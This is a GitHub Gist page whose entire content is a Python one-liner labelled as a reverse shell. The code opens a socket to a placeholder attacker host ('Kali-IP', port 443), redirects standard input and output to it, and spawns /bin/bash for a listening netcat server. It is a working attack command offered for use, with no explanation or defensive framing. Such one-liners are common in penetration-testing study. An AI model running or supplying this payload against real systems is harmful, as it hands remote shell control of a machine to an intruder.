Skip to content

Instantly share code, notes, and snippets.

View lucasgates's full-sized avatar
💭
living.

Lucas Gates lucasgates

💭
living.
View GitHub Profile
@lucasgates
lucasgates / python-reverse-shell.txt
Created August 21, 2017 02:18
Python one-liner to create a reverse shell to listening netcat server.
python -c 'import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("Kali-IP",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'